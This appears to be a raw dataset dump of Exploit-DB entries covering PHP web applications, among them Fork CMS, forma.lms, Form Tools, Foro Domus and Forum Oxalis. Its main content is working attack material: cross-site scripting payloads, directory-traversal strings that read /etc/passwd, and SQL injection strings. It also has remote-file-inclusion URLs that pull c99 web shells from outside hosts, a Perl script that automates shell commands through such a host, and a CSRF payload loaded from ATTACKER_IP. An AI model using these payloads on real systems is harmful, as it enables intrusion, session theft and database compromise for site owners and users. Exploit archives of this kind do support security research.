deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28881
Description: Foresite CMS - 'Index_2.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-30
Author: David Vieira-Kurz

Exploit:
source: https://www.securityfocus.com/bid/20818/info

ForeSite CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index_2.php?major_rls=major_rls29
Exploit-DB #38480
Description: Fork CMS - 'js.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2013-04-18
Author: Rafay Baloch

Exploit:
source: https://www.securityfocus.com/bid/59298/info

Fork CMS is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks. 

http://www.example.com/frontend/js.php?module=core&file=../../../../../../../../../../../../../../../../etc/passwd&language=en&m=[PII_REDACTED]
Exploit-DB #36446
Description: Fork CMS 3.1.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-12-16
Author: Avram Marius

Exploit:
source: https://www.securityfocus.com/bid/51045/info

Fork CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Fork CMS 3.1.5 is vulnerable; other versions may also be affected. 

http://www.example.com/blog/detail/article?utm_source=feed&utm_medium=rss"><script>alert(&#039;xss&#039;)</script>  

http://www.example.com/search?form=search&q_widget=&submit="><script>alert(&#039;xss&#039;)</script> 
 
http://www.example.com/search?form=search&q_widget="><script>alert(&#039;xss&#039;)</script>

http://www.example.com/search?form="><script>alert(&#039;xss&#039;)</script>

http://www.example.com/private/en/users/edit?id=1"><script>alert(&#039;xss&#039;)</script>

http://www.example.com/private/en/pages/edit?token=true&id=1"><script>alert(&#039;xss&#039;)</script>
 
http://www.example.com/private/en/mailmotor/settings?token="><script>alert(&#039;xss&#039;)</script>
Exploit-DB #18483
Description: Fork CMS 3.2.4 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-12
Author: Avram Marius

Exploit:
 
########################################################################################################################## 

#  Exploit Title: Fork CMS v.3.2.4  - Multiple Vulnerabilities 

#  Script Page : http://www.fork-cms.com  
                   
#  Date: 11-02-2012

#  Author : RandomStorm  - http://www.randomstorm.com

#  Avram Marius Gabriel (d3v1l)

#  Tested on: Windows XP & Vista
 
 
########################################################################################################################## 
 
#  Reflected Cross-Site Scripting (XSS) on Admin Panel

#  POC:  

#  http://site.com/blog/settings?token=true&report=</script><script>alert(1)</script>  

#  http://site.com/users/index?token=true&error=</script><script>alert(1)</script> 
 
########################################################################################################################### 

#  Local File Inclusion ( LFI )

#  POC: 

#  http://site.com/frontend/js.php?module=../../../../../../../../../../../../../../etc/passwd%00&file=frontend.js&language=en


##########################################################################################################################
 
# About: Fork CMS is dedicated to creating a user friendly environment to build,monitor and update your website.

###########################################################################################################################
Exploit-DB #36041
Description: Fork CMS 3.8.5 - SQL Injection
Type: webapps
Platform: php
Date: 2015-02-09
Author: Sven Schleier

Exploit:
[CVE-2015-1467] Fork CMS - SQL Injection in Version 3.8.5

----------------------------------------------------------------

Product Information:

Software: Fork CMS

Tested Version: 3.8.5, released on Wednesday 14 January 2015

Vulnerability Type: SQL Injection (CWE-89)

Download link to tested version: http://www.fork-cms.com/download?release=3.8.5

Description: Fork CMS is dedicated to creating a user friendly environment to build, monitor and update your website. We take great pride in being the Content Management System of choice for beginners and professionals. We combine this grand vision with the latest technological innovations to allow developers, front-end developers and designers to build kick-ass websites. This makes Fork CMS next in line for world domination. (copied from http://www.fork-cms.com/features)

----------------------------------------------------------------

Vulnerability description:

When an authenticated user is navigating to "Settings/Translations" and is clicking on the button "Update Filter" the following GET-request is sent to the server:

http://127.0.0.1/private/en/locale/index?form=filter&form_token=408d28a8cbab7890c11b20af033c486b&application=&module=&type%5B%5D=act&type%5B%5D=err&type%5B%5D=lbl&type%5B%5D=msg&language%5B%5D=en&name=&value=


The parameter language[] is prone to boolean-based blind and stacked queries SQL-Injection. WIth the following payload a delay can be provoked in the request of additional 10 seconds:

http://127.0.0.1/private/en/locale/index?form=filter&form_token=68aa8d273e0bd95a70e[PII_REDACTED]3d5&application=&module=&type%5B%5D=act%27%2b(select%20*%20from%20(select(sleep(10)))a)%2b%27&type%5B%5D=err&type%5B%5D=lbl&type%5B%5D=msg&language%5B%5D=en&name=&value=

Also the parameters type[] are prone to SQL-Injection.

----------------------------------------------------------------

Impact: 

Direct database access is possible if an attacker is exploiting the SQL Injection vulnerability.

----------------------------------------------------------------

Solution:

Update to the latest version, which is   3.8.6, see http://www.fork-cms.com/download.

----------------------------------------------------------------

Timeline:

Vulnerability found: 3.2.2015
Vendor informed: 3.2.2015
Response by vendor: 3.2.2015
Fix by vendor 3.2.2015
Public Advisory: 4.2.2015

----------------------------------------------------------------

Best regards,

Sven Schleier
Exploit-DB #36894
Description: Fork CMS 3.x - '/backend/modules/error/actions/index.php?parse()' Multiple Error Display Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-02-28
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/52236/info
 
Fork CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
Fork CMS versions prior to 3.2.7 are vulnerable. 

http://www.example.com/private/en/error?type=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/private/en/error?type=action-not-allowed&querystring=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E.1
Exploit-DB #36893
Description: Fork CMS 3.x - '/private/en/locale/index?name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-28
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/52236/info

Fork CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Fork CMS versions prior to 3.2.7 are vulnerable. 

http://www.example.com/private/en/locale/index?name=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #45508
Description: Fork CMS 5.4.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-10-01
Author: Ismail Tasdelen

Exploit:
# Exploit Title: Fork CMS 5.4.0 - Cross-Site Scripting
# Date: 2018-09-26 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.fork-cms.com/
# Software Link : https://github.com/forkcms/forkcms
# Software : Fork 5.4.0
# Product Version: 5.4.0
# Vulernability Type : Code Injection
# Vulenrability : HTML Injection and Stored XSS

# In the 5.4.0 version of the Fork CMS software, HTML Injection and Stored XSS vulnerabilities 
# were discovered via the /backend/ajax URI.

# HTTP POST Request :

POST /backend/ajax HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://Target/private/en/pages/add?token=2quwpxbx78
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 299
Cookie: track=s%3A32%3A%22e36b0c664ad21e30c493893c3612f5cc%22%3B; PHPSESSID=[PII_REDACTED]ec4a8e726bea6a0746731e; interface_language=en; frontend_language=en; track=1; jstree_open=page-425
Connection: close

fork%5Bmodule%5D=Core&fork%5Baction%5D=GenerateUrl&fork%5Blanguage%5D=en&url=%22%3E%3Ch1%3EIsmail+Tasdelen%3C%2Fh1%3E&metaId=&baseFieldName=title&custom=1&className=Backend%5CModules%5CPages%5CEngine%5CModel&methodName=getUrl&parameters=a%3A3%3A%7Bi%3A0%3Bi%3A0%3Bi%3A1%3Bi%3A0%3Bi%3A2%3Bb%3A0%3B%7D
Exploit-DB #26015
Description: Form Sender 1.0 - 'Processform.php3?Failed' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-19
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14326/info

A cross-site scripting vulnerability affects Form Sender. This issue is due to a failure of the application to properly sanitize user-supplied URI input that will be output in dynamically generated Web pages.

This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://[target]/[path]/processform.php3?failed=<script>alert(document.cookie)</script>
Exploit-DB #4736
Description: Form Tools 1.5.0b - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-12-14
Author: RoMaNcYxHaCkEr

Exploit:
# Name : Form tools 1.5.0b Remote File Include
# Download From : http://www.formtools.org/download.php
# Found By : RoMaNcYxHaCkEr
# Home Page : Not Yet :(
============================================================================
# Vulne Code In Files admin_page_open.php & client_page_open.php In Line 3 :
<?php
    require("$g_root_dir/global/templates/admin_nav.php");
    ?>
<?php
    require("$g_root_dir/global/templates/client_nav.php");
    ?>
 

# Exploit:
www.RxH.com/FormTools1_5_0/global/templates/admin_page_open.php?g_root_dir=http://no-hack.fr/shells/c99.txt?
And Here
www.RxH.com/FormTools1_5_0/global/templates/client_page_open.php?g_root_dir=http://no-hack.fr/shells/c99.txt?
============================================================================
# Greet To :
Cold Z3ro My Master (Hackteach.org)
Hack15 TeaM (V99x.com)
Sniper-Sa (Sniper-sa.com)
Tryag TeaM (Tryag.com)
Yee7 TeaM (Yee7.com)
H-T TeaM (no-hack.fr)
Str0ck
My5ql Team
Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye And All My Friends
# For Contact : RxH@HotMail.iT
Best Wishes

# milw0rm.com [2007-12-14]
Exploit-DB #49197
Description: Forma LMS 2.3 - 'First & Last Name' Stored Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-12-04
Author: Hemant Patidar

Exploit:
# Exploit Title: Forma LMS 2.3 - 'First & Last Name' Stored Cross-Site Scripting 
# Date: 04-12-2020
# Exploit Author: Hemant Patidar (HemantSolo)
# Vendor Homepage: https://www.formalms.org/download.html
# Software Link: https://www.formalms.org/
# Version: 2.3
# Tested on: Windows 10/Kali Linux

Steps-To-Reproduce:
1. Go to the Forma LMS and login to your account.
2. Now go to the User Profile.
3. Now Edit the profile.
4. Put the below payload in first and last name:
"<script>alert(document.cookie)</script>"
5. Now click on Save button.
6. The XSS will be triggered.
Exploit-DB #48494
Description: forma.lms 5.6.40 - Cross-Site Request Forgery (Change Admin Email)
Type: webapps
Platform: php
Date: 2020-05-21
Author: Daniel Ortiz

Exploit:
# Exploit Title: forma.lms 5.6.40 - Cross-Site Request Forgery (Change Admin Email) 
# Date: 2020-05-21
# Exploit Author: Daniel Ortiz
# Vendor Homepage: https://sourceforge.net/projects/forma/
# Tested on:  XAMPP for Linux 64bit 5.6.40-0


## 1 - Description

- Vulnerable form: Edit Profile
- Details: The validation of the CSRF token depends on request method. Changing the request method from POST to GET the token validation is omitted by the backend.
- Privileges: It requires admin privileges to change the admin email.
- Location: Admin Area >user profile > Edit form
- Endopoint: /formalms/appCore/index.php?r=lms/profile/show&ap=saveinfo


## 2 -Triggering the Vulnerability

To trigger this vulnerability the admin user must log in to the system.

1) Setup a HTTP server on the attacker machine, e.g: python -m SimpleHTTPServer 9090
2) In the attacker machine create a file with this content:

[+] payload.js

var target = document.location.host;
var params = "r=lms/profile/show&ap=saveinfo&authentic_request=&up_lastname=&up_firstname=&up_email=hacked@admin.com&user_preference[ui.language]=0&up_signature=&save=Save+changes";

function pwnEmail(){

    var xhr = new XMLHttpRequest();
    xhr.open("GET", "http://" + target + "/formalms/appLms/index.php?"+params, true);
    xhr.send(null);

}

pwnEmail();

3) Edit a course and in the description field put this payload: 

<script src="http://ATTACKER_IP:PORT/payload.js"/>

The description field is vulnerable to XSS attacks and is used to trigger the csrf payload.

4) Go to index page in formalms/appLms/index.php?r=lms/mycourses/show this trigger the XSS payload in the description field (the payload loads the payload.js file and execute the CSRF payload)

5) The payload.js file is executed and the admin email is changed
Exploit-DB #48478
Description: forma.lms The E-Learning Suite 2.3.0.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-05-18
Author: Daniel Ortiz

Exploit:
# Exploit Title: forma.lms The E-Learning Suite 2.3.0.2 - Persistent Cross-Site Scripting 
# Date: 2020-05-15
# Exploit Author: Daniel Ortiz
# Vendor Homepage: https://sourceforge.net/projects/forma/
# Software link: https://sourceforge.net/projects/forma/files/latest/download
# Tested on:  XAMPP for Linux 64bit 5.6.40-0



## 1 -Course Module
- Vulnerable parameter: course_code, course_name, course_box_descr, course_descr
- Payload: <SCRIPT>alert('XSS');</SCRIPT>
- Details: There is no control or security mechanism on this field. Specials characters are not encoded or filtered.
- Privileges: It requires admin.
- Location: Admin Area > E-learning > Courses > Courses > Edit Course
- Endopoint: /formalms/appCore/index.php?r=alms/course/modcourse


## 1 -Profile Module
- Vulnerable parameter: Email
- Payload: <div>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onmouseover=alert('xss') )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</div>
- Details: There is some control on this field but can bypassed.
- Privileges: Do not requires admin or student account.
- Location: My Profile > Edit > Put the payload in Email field.
- Endpoint: /formalms/appLms/index.php?r=lms/profile/show&ap=saveinfo
Exploit-DB #3215
Description: Foro Domus 2.10 - 'phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-28
Author: Mehmet Ince

Exploit:
# (C) xoron
#
# [Name: Foro Domus v2.10 (phpbb_root_path) Remote File Include Exploit]
#
# [Author: xoron]
# [Exploit coded by xoron]
#
# [Download: http://sourceforge.net/project/showfiles.php?group_id=8920]
#
# [xoron.biz]
#
# [Thanx: str0ke, kacper, k1tk4t, SHiKA, can bjorn]
#
# [Tesekkurler: chaos, pang0]
#
# 
#
$rfi = "menu.php?sesion_idioma="; 
$path = "/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) xoron\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan xoron\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Ac.k Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) xoron - xoron.biz\n$thx: pang0, chaos\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-01-28]
Exploit-DB #27033
Description: Foro Domus 2.10 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-01-06
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16154/info

Foro Domus is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

Foro Domus version 2.10 is vulnerable to these issues; other versions may also be affected. 

An example URI exploiting the cross-site scripting issue was provided:
http://www.example.com/domus/escribir.php?domus=ae29cf4d3f2dc42241e387d39b4126e2&hilo=1&padre=1&categoria=General&n=&usario=username&email=e@\';%20alert(123);%20var%20dss=\'h.co&asunto=blabla&texto=anytext&accion=enviar
Exploit-DB #35402
Description: Forritun - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-03-02
Author: eXeSoul

Exploit:
source: https://www.securityfocus.com/bid/46629/info

Forritun is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/grein.php?id=[sqli]
http://www.example.com/rit.php?id=[sqli]
http://www.example.com/index.php?id=[sqli]
http://www.example.com/sida.php?id=[SQLi]
Exploit-DB #28217
Description: Forum 5 - 'pm.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2006-07-13
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/18967/info

Forum 5 is prone to a local file-include vulnerability.

The application fails to sanitize user input when executing the script. In particular the script fails to check for the presence of a directory-traversal sequence ('../'). 

A successful exploit may allow unauthorized users to view files and to execute local scripts; other attacks are also possible.

There is no specific affected version information available.

http://www.example.com/fm.php?GLOBAL[template]=LFI
Exploit-DB #19898
Description: Forum Oxalis 0.1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2012-07-17
Author: Jean Pascal Pereira

Exploit:
#################################################
Forum Oxalis 0.1.2 <= SQL Injection Vulnerability
#################################################

Discovered by: Jean Pascal Pereira <pereira@secbiz.de>

Vendor information:

"Forum Oxalis is a minimalis GPL PHP forum using CSS."

Vendor URI: http://developer.berlios.de/projects/forumoxalis/

#################################################

Risk-level: High

The application is prone to a remote SQL injection vulnerability.

-------------------------------------

func.php, line 72:

function lister_messages($id, $page, $parpage)

{
    global $mysql_table;

    $resu = mysql_query("select * from `$mysql_table` where id=$id");

    $nombre_messages = mysql_num_rows($resu);

forum.php, line 7:

$id = $_GET['id'];

forum.php, line 74:

case "message":

    lister_messages($id, $page, $reponses_par_page);

    $reponse_a_id = $id;

    break;

-------------------------------------

Exploit / Proof Of Concept:

http://localhost/ForumOxalis/index.php?id=99999/**/UNION/**/SELECT/**/0x00,version(),0x00,0x00,0x00,0x00,0x00,0x00,0x00&action=message

-------------------------------------

Solution:

Do some input validation. 

-------------------------------------

#################################################
Exploit-DB #31752
Description: Forum Rank System 6 - 'settings['locale']' Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-05-07
Author: Matrix86

Exploit:
source: https://www.securityfocus.com/bid/29077/info

Forum Rank System is prone to local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities using directory-traversal strings to view files local scripts in the context of the webserver process. This may aid in further attacks.

Forum Rank System 6 is vulnerable; other versions may also be affected. 

http://www.example.com/infusions/rank_system/forum.php?settings[locale]=../../../../../../../../etc/passwd%00
http://www.example.com/infusions/rank_system/profile.php?settings[locale]=../../../../../../../../etc/passwd%00
Exploit-DB #41835
Description: Forum Template 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-04-07
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Forum Template v1.0 for ASPRunnerPro/PHPRunner/ASPRunner.NET. - SQL Injection
# Google Dork: N/A
# Date: 07.04.2017
# Vendor Homepage: https://xlinesoft.com/
# Software: https://xlinesoft.com/marketplace/products_view.php?editid1=9
# Demo: https://xlinesoft.com/livedemo/forum/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/replies/list?mastertable=topics&masterkey1=[SQL]
# http://localhost/[PATH]/topics/list?search=[SQL]
# # # # #